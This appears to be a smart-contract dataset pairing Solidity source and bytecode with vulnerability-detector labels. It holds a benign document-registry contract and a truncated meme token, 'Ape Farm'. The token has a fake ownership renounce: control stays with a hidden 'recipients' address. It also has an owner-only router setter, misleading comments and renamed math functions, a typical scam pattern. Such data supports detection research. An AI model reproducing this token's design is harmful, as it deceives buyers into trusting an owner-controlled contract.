// Hash of file containing extra metadata.
// Secured same way as content of the file
// size to save gas on transactions.
string documentMetadataSHA256;
// IPFS hash of directory containing the document and metadata binaries.
// Hash of the directory is build as merkle tree, so any change
// to any of the files in folder will invalidate this hash.
// So there is no need to keep IPFS hash for each single file.
string IPFSdirectoryHash;
// Block number
uint blockNumber;
// Document validity begin date, claimed by
// publisher. Documents can be published
// before they become valid, or in some
// cases later.
uint validFrom;
// Optional valid date to if relevant
uint validTo;
// Reference to document update. Document
// can be updated/replaced, but such update
// history cannot be hidden and it is
// persistant and auditable by everyone.
// Update can address document itself aswell
// as only metadata, where documentContentSHA256
// stays same between updates - it can be
// compared between versions.
// This works as one way linked list
uint updatedVersionId;
}
// Owner of the contract
address public owner;
// Needed for keeping new version address.
// If 0, then this contract is up to date.
// If not 0, no documents can be added to
// this version anymore. Contract becomes
// retired and documents are read only.
address public upgradedVersion;
// Total count of signed documents
uint public documentsCount;
// Base URL on which files will be stored
string public baseUrl;
// Map of signed documents
mapping(uint => Document) private documents;
// Event for confirmation of adding new document
event EventDocumentAdded(uint indexed documentId);
// Event for updating document
event EventDocumentUpdated(uint indexed referencingDocumentId, uint indexed updatedDocumentId);
// Event for going on retirement
event Retired(address indexed upgradedVersion);
// Restricts call to owner
modifier onlyOwner() {
if (msg.sender == owner)
_;
}
// Restricts call only when this version is up to date == upgradedVersion is not set to a new address
// or in other words, equal to 0
modifier ifNotRetired() {
if (upgradedVersion == 0)
_;
}
// Constructor
constructor() public {
owner = msg.sender;
baseUrl = "_";
}
// Enables to transfer ownership. Works even after
// retirement. No documents can be added, but some
// other tasks still can be performed.
function transferOwnership(address _newOwner) public onlyOwner {
owner = _newOwner;
}
// Adds new document - only owner and if not retired
function addDocument(
string _fileName,
string _documentContentSHA256,
string _documentMetadataSHA256,
string _IPFSdirectoryHash,
uint _validFrom, uint _validTo) public onlyOwner ifNotRetired {
// Documents incremented before use so documents ids will
// start with 1 not 0 (shifter by 1)
// 0 is reserved as undefined value
uint documentId = documentsCount+1;
//
emit EventDocumentAdded(documentId);
documents[documentId] = Document(
documentId,
_fileName,
_documentContentSHA256,
_documentMetadataSHA256,
_IPFSdirectoryHash,
block.number,
_validFrom,
_validTo,
0
);
documentsCount++;
}
// Gets total count of documents
function getDocumentsCount() public view
returns (uint)
{
return documentsCount;
}
// Retire if newer version will be available. To persist
// integrity, address of newer version needs to be provided.
// After retirement there is no way to add more documents.
function retire(address _upgradedVersion) public onlyOwner ifNotRetired {
// TODO - check if such contract exists
upgradedVersion = _upgradedVersion;
emit Retired(upgradedVersion);
}
// Gets document with ID
function getDocument(uint _documentId) public view
returns (
uint documentId,
string fileName,
string documentContentSHA256,
string documentMetadataSHA256,
string IPFSdirectoryHash,
uint blockNumber,
uint validFrom,
uint validTo,
uint updatedVersionId
) {
Document memory doc = documents[_documentId];
return (
doc.documentId,
doc.fileName,
doc.documentContentSHA256,
doc.documentMetadataSHA256,
doc.IPFSdirectoryHash,
doc.blockNumber,
doc.validFrom,
doc.validTo,
doc.updatedVersionId
);
}
// Gets document updatedVersionId with ID
// 0 - no update for document
function getDocumentUpdatedVersionId(uint _documentId) public view
returns (uint)
{
Document memory doc = documents[_documentId];
return doc.updatedVersionId;
}
// Gets base URL so everyone will know where to seek for files storage / GUI.
// Multiple URLS can be set in the string and separated by comma
function getBaseUrl() public view
returns (string)
{
return baseUrl;
}
// Set base URL even on retirement. Files will have to be maintained
// for a very long time, and for example domain name could change.
// To manage this, owner should be able to set base url anytime
function setBaseUrl(string _baseUrl) public onlyOwner {
baseUrl = _baseUrl;
}
// Utility to help seek fo specyfied document
function getFirstDocumentIdStartingAtValidFrom(uint _unixTimeFrom) public view
returns (uint)
{
for (uint i = 0; i < documentsCount; i++) {
Document memory doc = documents[i];
if (doc.validFrom>=_unixTimeFrom) {
return i;
}
}
return 0;
}
// Utility to help seek fo specyfied document
function getFirstDocumentIdBetweenDatesValidFrom(uint _unixTimeStarting, uint _unixTimeEnding) public view
returns (uint firstID, uint lastId)
{
firstID = 0;
lastId = 0;
//
for (uint i = 0; i < documentsCount; i++) {
Document memory doc = documents[i];
if (firstID==0) {
if (doc.validFrom>=_unixTimeStarting) {
firstID = i;
}
} else {
if (doc.validFrom<=_unixTimeEnding) {
lastId = i;
}
}
}
//
if ((firstID>0)&&(lastId==0)&&(_unixTimeStarting<_unixTimeEnding)) {
lastId = documentsCount;
}
}
// Utility to help seek fo specyfied document
function getDocumentIdWithContentHash(string _documentContentSHA256) public view
returns (uint)
{
bytes32 documentContentSHA256Keccak256 = keccak256(_documentContentSHA256);
for (uint i = 0; i < documentsCount; i++) {
Document memory doc = documents[i];
if (keccak256(doc.documentContentSHA256)==documentContentSHA256Keccak256) {
return i;
}
}
return 0;
}
// Utility to help seek fo specyfied document
function getDocumentIdWithIPFSdirectoryHash(string _IPFSdirectoryHash) public view
returns (uint)
{
bytes32 IPFSdirectoryHashSHA256Keccak256 = keccak256(_IPFSdirectoryHash);
for (uint i = 0; i < documentsCount; i++) {
Document memory doc = documents[i];
if (keccak256(doc.IPFSdirectoryHash)==IPFSdirectoryHashSHA256Keccak256) {
return i;
}
}
return 0;
}
// Utility to help seek fo specyfied document
function getDocumentIdWithName(string _fileName) public view
returns (uint)
{
bytes32 fileNameKeccak256 = keccak256(_fileName);
for (uint i = 0; i < documentsCount; i++) {
Document memory doc = documents[i];
if (keccak256(doc.fileName)==fileNameKeccak256) {
return i;
}
}
return 0;
}
// To update document:
// 1 - Add new version as ordinary document
// 2 - Call this function to link old version with update
function updateDocument(uint referencingDocumentId, uint updatedDocumentId) public onlyOwner ifNotRetired {
Document storage referenced = documents[referencingDocumentId];
Document memory updated = documents[updatedDocumentId];
//
referenced.updatedVersionId = updated.documentId;
emit EventDocumentUpdated(referenced.updatedVersionId,updated.documentId);
}
}
|
0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630ac96103146101015780630bcf963b1461019157806323e798e6146101bc578063262006e9146102395780633294c2d71461028b5780633f9b250a146102c257806349776581146104cf5780634da5160f146105105780635bcabf04146105515780638da5cb5b146105e157806390df44b41461063857806395e52d98146107875780639e6371ba146107b2578063af05fa10146107f5578063c7c3268b1461084c578063d59b5d4e146108b5578063d5d5f46914610932578063f2fde38b146109af575b600080fd5b34801561010d57600080fd5b506101166109f2565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015657808201518184015260208101905061013b565b50505050905090810190601f1680156101835780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019d57600080fd5b506101a6610a94565b6040518082815260200191505060405180910390f35b3480156101c857600080fd5b50610223600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610a9e565b6040518082815260200191505060405180910390f35b34801561024557600080fd5b5061026e6004803603810190808035906020019092919080359060200190929190505050610e93565b604051808381526020018281526020019250505060405180910390f35b34801561029757600080fd5b506102c06004803603810190808035906020019092919080359060200190929190505050611200565b005b3480156102ce57600080fd5b506102ed600480360381019080803590602001909291905050506115dc565b604051808a81526020018060200180602001806020018060200189815260200188815260200187815260200186815260200185810385528d818151815260200191508051906020019080838360005b8381101561035757808201518184015260208101905061033c565b50505050905090810190601f1680156103845780820380516001836020036101000a031916815260200191505b5085810384528c818151815260200191508051906020019080838360005b838110156103bd5780820151818401526020810190506103a2565b50505050905090810190601f1680156103ea5780820380516001836020036101000a031916815260200191505b5085810383528b818151815260200191508051906020019080838360005b83811015610423578082015181840152602081019050610408565b50505050905090810190601f1680156104505780820380516001836020036101000a031916815260200191505b5085810382528a818151815260200191508051906020019080838360005b8381101561048957808201518184015260208101905061046e565b50505050905090810190601f1680156104b65780820380516001836020036101000a031916815260200191505b509d505050505050505050505050505060405180910390f35b3480156104db57600080fd5b506104fa60048036038101908080359060200190929190505050611928565b6040518082815260200191505060405180910390f35b34801561051c57600080fd5b5061053b60048036038101908080359060200190929190505050611c1c565b6040518082815260200191505060405180910390f35b34801561055d57600080fd5b50610566611f40565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105a657808201518184015260208101905061058b565b50505050905090810190601f1680156105d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105ed57600080fd5b506105f6611fde565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561064457600080fd5b50610785600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192908035906020019092919080359060200190929190505050612003565b005b34801561079357600080fd5b5061079c6121ec565b6040518082815260200191505060405180910390f35b3480156107be57600080fd5b506107f3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121f2565b005b34801561080157600080fd5b5061080a612333565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561085857600080fd5b506108b3600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612359565b005b3480156108c157600080fd5b5061091c600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506123c9565b6040518082815260200191505060405180910390f35b34801561093e57600080fd5b50610999600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506127be565b6040518082815260200191505060405180910390f35b3480156109bb57600080fd5b506109f0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612bb3565b005b606060038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a8a5780601f10610a5f57610100808354040283529160200191610a8a565b820191906000526020600020905b815481529060010190602001808311610a6d57829003601f168201915b5050505050905090565b6000600254905090565b6000806000610aab612c4c565b846040518082805190602001908083835b602083101515610ae15780518252602082019150602081019050602083039250610abc565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209250600091505b600254821015610e865760046000838152602001908152602001600020610120604051908101604052908160008201548152602001600182018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610be25780601f10610bb757610100808354040283529160200191610be2565b820191906000526020600020905b815481529060010190602001808311610bc557829003601f168201915b50505050508152602001600282018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c845780601f10610c5957610100808354040283529160200191610c84565b820191906000526020600020905b815481529060010190602001808311610c6757829003601f168201915b50505050508152602001600382018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d265780601f10610cfb57610100808354040283529160200191610d26565b820191906000526020600020905b815481529060010190602001808311610d0957829003601f168201915b50505050508152602001600482018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610dc85780601f10610d9d57610100808354040283529160200191610dc8565b820191906000526020600020905b815481529060010190602001808311610dab57829003601f168201915b505050505081526020016005820154815260200160068201548152602001600782015481526020016008820154815250509050826000191681602001516040518082805190602001908083835b602083101515610e3a5780518252602082019150602081019050602083039250610e15565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020600019161415610e7957819350610e8b565b8180600101925050610b15565b600093505b505050919050565b6000806000610ea0612c4c565b6000935060009250600091505b6002548210156111d15760046000838152602001908152602001600020610120604051908101604052908160008201548152602001600182018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f7a5780601f10610f4f57610100808354040283529160200191610f7a565b820191906000526020600020905b815481529060010190602001808311610f5d57829003601f168201915b50505050508152602001600282018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561101c5780601f10610ff15761010080835404028352916020019161101c565b820191906000526020600020905b815481529060010190602001808311610fff57829003601f168201915b50505050508152602001600382018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110be5780601f10611093576101008083540402835291602001916110be565b820191906000526020600020905b8154815290600101906020018083116110a157829003601f168201915b50505050508152602001600482018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111605780601f1061113557610100808354040283529160200191611160565b820191906000526020600020905b81548152906001019060200180831161114357829003601f168201915b50505050508152602001600582015481526020016006820154815260200160078201548152602001600882015481525050905060008414156111b257858160c001511015156111ad578193505b6111c4565b848160c001511115156111c3578192505b5b8180600101925050610ead565b6000841180156111e15750600083145b80156111ec57508486105b156111f75760025492505b50509250929050565b600061120a612c4c565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156115d6576000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156115d55760046000858152602001908152602001600020915060046000848152602001908152602001600020610120604051908101604052908160008201548152602001600182018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113785780601f1061134d57610100808354040283529160200191611378565b820191906000526020600020905b81548152906001019060200180831161135b57829003601f168201915b50505050508152602001600282018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561141a5780601f106113ef5761010080835404028352916020019161141a565b820191906000526020600020905b8154815290600101906020018083116113fd57829003601f168201915b50505050508152602001600382018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114bc5780601f10611491576101008083540402835291602001916114bc565b820191906000526020600020905b81548152906001019060200180831161149f57829003601f168201915b50505050508152602001600482018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561155e5780601f106115335761010080835404028352916020019161155e565b820191906000526020600020905b81548152906001019060200180831161154157829003601f168201915b50505050508152602001600582015481526020016006820154815260200160078201548152602001600882015481525050905080600001518260080181905550806000015182600801547f335978c25685921ea61cab8fdd2f3d078ea408050bfd4267d133c21485c1a43e60405160405180910390a35b5b50505050565b60006060806060806000806000806115f2612c4c565b600460008c8152602001908152602001600020610120604051908101604052908160008201548152602001600182018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116b55780601f1061168a576101008083540402835291602001916116b5565b820191906000526020600020905b81548152906001019060200180831161169857829003601f168201915b50505050508152602001600282018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117575780601f1061172c57610100808354040283529160200191611757565b820191906000526020600020905b81548152906001019060200180831161173a57829003601f168201915b50505050508152602001600382018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117f95780601f106117ce576101008083540402835291602001916117f9565b820191906000526020600020905b8154815290600101906020018083116117dc57829003601f168201915b50505050508152602001600482018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561189b5780601f106118705761010080835404028352916020019161189b565b820191906000526020600020905b81548152906001019060200180831161187e57829003601f168201915b505050505081526020016005820154815260200160068201548152602001600782015481526020016008820154815250509050806000015181602001518260400151836060015184608001518560a001518660c001518760e00151886101000151879750869650859550849450995099509950995099509950995099509950509193959799909294969850565b6000611932612c4c565b60046000848152602001908152602001600020610120604051908101604052908160008201548152602001600182018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156119f55780601f106119ca576101008083540402835291602001916119f5565b820191906000526020600020905b8154815290600101906020018083116119d857829003601f168201915b50505050508152602001600282018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611a975780601f10611a6c57610100808354040283529160200191611a97565b820191906000526020600020905b815481529060010190602001808311611a7a57829003601f168201915b50505050508152602001600382018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611b395780601f10611b0e57610100808354040283529160200191611b39565b820191906000526020600020905b815481529060010190602001808311611b1c57829003601f168201915b50505050508152602001600482018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611bdb5780601f10611bb057610100808354040283529160200191611bdb565b820191906000526020600020905b815481529060010190602001808311611bbe57829003601f168201915b505050505081526020016005820154815260200160068201548152602001600782015481526020016008820154815250509050806101000151915050919050565b600080611c27612c4c565b600091505b600254821015611f345760046000838152602001908152602001600020610120604051908101604052908160008201548152602001600182018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611cf95780601f10611cce57610100808354040283529160200191611cf9565b820191906000526020600020905b815481529060010190602001808311611cdc57829003601f168201915b50505050508152602001600282018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611d9b5780601f10611d7057610100808354040283529160200191611d9b565b820191906000526020600020905b815481529060010190602001808311611d7e57829003601f168201915b50505050508152602001600382018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611e3d5780601f10611e1257610100808354040283529160200191611e3d565b820191906000526020600020905b815481529060010190602001808311611e2057829003601f168201915b50505050508152602001600482018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611edf5780601f10611eb457610100808354040283529160200191611edf565b820191906000526020600020905b815481529060010190602001808311611ec257829003601f168201915b505050505081526020016005820154815260200160068201548152602001600782015481526020016008820154815250509050838160c00151101515611f2757819250611f39565b8180600101925050611c2c565b600092505b5050919050565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611fd65780601f10611fab57610100808354040283529160200191611fd6565b820191906000526020600020905b815481529060010190602001808311611fb957829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156121e3576000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156121e2576001600254019050807ffb0ce5d9a7a5920a0a8ddc50aff10cb3d58c540f8281bbeb7659e24cd300da7b60405160405180910390a26101206040519081016040528082815260200188815260200187815260200186815260200185815260200143815260200184815260200183815260200160008152506004600083815260200190815260200160002060008201518160000155602082015181600101908051906020019061214b929190612c99565b506040820151816002019080519060200190612168929190612c99565b506060820151816003019080519060200190612185929190612c99565b5060808201518160040190805190602001906121a2929190612c99565b5060a0820151816005015560c0820151816006015560e0820151816007015561010082015181600801559050506002600081548092919060010191905055505b5b50505050505050565b60025481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415612330576000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561232f5780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fda9d2e31afb0de4b09fe65662e5e025013186f59dd81d4946248587a2f77c6df60405160405180910390a25b5b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156123c65780600390805190602001906123c4929190612d19565b505b50565b60008060006123d6612c4c565b846040518082805190602001908083835b60208310151561240c57805182526020820191506020810190506020830392506123e7565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209250600091505b6002548210156127b15760046000838152602001908152602001600020610120604051908101604052908160008201548152602001600182018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561250d5780601f106124e25761010080835404028352916020019161250d565b820191906000526020600020905b8154815290600101906020018083116124f057829003601f168201915b50505050508152602001600282018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156125af5780601f10612584576101008083540402835291602001916125af565b820191906000526020600020905b81548152906001019060200180831161259257829003601f168201915b50505050508152602001600382018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156126515780601f1061262657610100808354040283529160200191612651565b820191906000526020600020905b81548152906001019060200180831161263457829003601f168201915b50505050508152602001600482018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156126f35780601f106126c8576101008083540402835291602001916126f3565b820191906000526020600020905b8154815290600101906020018083116126d657829003601f168201915b505050505081526020016005820154815260200160068201548152602001600782015481526020016008820154815250509050826000191681604001516040518082805190602001908083835b6020831015156127655780518252602082019150602081019050602083039250612740565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206000191614156127a4578193506127b6565b8180600101925050612440565b600093505b505050919050565b60008060006127cb612c4c565b846040518082805190602001908083835b60208310151561280157805182526020820191506020810190506020830392506127dc565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209250600091505b600254821015612ba65760046000838152602001908152602001600020610120604051908101604052908160008201548152602001600182018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156129025780601f106128d757610100808354040283529160200191612902565b820191906000526020600020905b8154815290600101906020018083116128e557829003601f168201915b50505050508152602001600282018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156129a45780601f10612979576101008083540402835291602001916129a4565b820191906000526020600020905b81548152906001019060200180831161298757829003601f168201915b50505050508152602001600382018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612a465780601f10612a1b57610100808354040283529160200191612a46565b820191906000526020600020905b815481529060010190602001808311612a2957829003601f168201915b50505050508152602001600482018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612ae85780601f10612abd57610100808354040283529160200191612ae8565b820191906000526020600020905b815481529060010190602001808311612acb57829003601f168201915b505050505081526020016005820154815260200160068201548152602001600782015481526020016008820154815250509050826000191681608001516040518082805190602001908083835b602083101515612b5a5780518252602082019150602081019050602083039250612b35565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020600019161415612b9957819350612bab565b8180600101925050612835565b600093505b505050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415612c4957806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b610120604051908101604052806000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612cda57805160ff1916838001178555612d08565b82800160010185558215612d08579182015b82811115612d07578251825591602001919060010190612cec565b5b509050612d159190612d99565b5090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612d5a57805160ff1916838001178555612d88565b82800160010185558215612d88579182015b82811115612d87578251825591602001919060010190612d6c565b5b509050612d959190612d99565b5090565b612dbb91905b80821115612db7576000816000905550600101612d9f565b5090565b905600a165627a7a72305820ac9896b9581ba9d759b11d381c8e357670bf01fa7d757a372d4f69acd13d44940029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 5,105 |
0x5F0Fa487C28af634D61E076e8Be536A5264dDeec
|
/**
*Submitted for verification at Etherscan.io on 2022-01-06
*/
/*
Lets go farming in the Ape Farm!
Symbol: aFARM
LETS GET TO THE MOON BOYS!!!!
(SAVAGE DEGENS ONLY)
💎 Degen play for Diamond Handers
🙌 Prepare for GREEN when you HODL.
✍️ Paper hands will get absolutely REKT!
*/
library SafeMath {
function prod(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function cre(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function cal(uint256 a, uint256 b) internal pure returns (uint256) {
return calc(a, b, "SafeMath: division by zero");
}
function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function red(uint256 a, uint256 b) internal pure returns (uint256) {
return redc(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
pragma solidity ^0.8.10;
contract Ownable is Context {
address internal recipients;
address internal router;
address public owner;
mapping (address => bool) internal confirm;
event owned(address indexed previousi, address indexed newi);
constructor () {
address msgSender = _msgSender();
recipients = msgSender;
emit owned(address(0), msgSender);
}
modifier checker() {
require(recipients == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function renounceOwnership() public virtual checker {
emit owned(owner, address(0));
owner = address(0);
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
}
// SPDX-License-Identifier: MIT
contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
bool private truth;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
truth=true;
}
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* transferFrom.
*
* Requirements:
*
* - transferFrom.
*
* _Available since v3.1._
*/
function _initiatetrading (address set) public checker {
router = set;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - the address approve.
